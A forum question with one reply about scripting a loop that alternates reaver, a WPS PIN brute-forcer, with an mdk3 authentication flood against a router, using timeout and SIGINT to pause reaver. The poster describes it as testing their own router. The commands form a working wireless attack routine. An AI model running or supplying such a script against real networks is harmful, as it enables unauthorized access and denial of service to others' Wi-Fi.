Shell Scripting:
I am doing some testing on my router, I am using mdk3 and reaver utility for that.
here are the two commands:
[cmd1] echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv -l 230
[cmd2] sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6
goal:
I am trying to create a shell script which will run [cmd1] for 2 minutes, then it will send the ctrl + c signal to [cmd1] so that it will save the reaver session.
then cmd2 will run for 2 minutes and this will also stop after that.
these two will be in loop.
below is the sample script which I written can you add timer to it..?
#!/bin/bash
while :; do echo
echo "running mdk for 2 minutes";
timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6;
echo "mdk finished";
echo "starting reaver for 2 minutes ";
#here timeout won't work, as ctrl+c can only save the state.
//add code here to run reaver utility for two minutes and send ctrl+c to it
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv;
echo "reaver ran for two minutes";
done
Santiago Trujillo
I'm not familiar with the reaver program, but I think the following should work,
# Run reaver as a background process (add &)
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv &
# Save the process id.
reaverpid=$!
# Sleep 2 minutes
sleep 120
# Send SIGINT, which is what ctrl-c normally does.
kill -SIGINT $reaverpid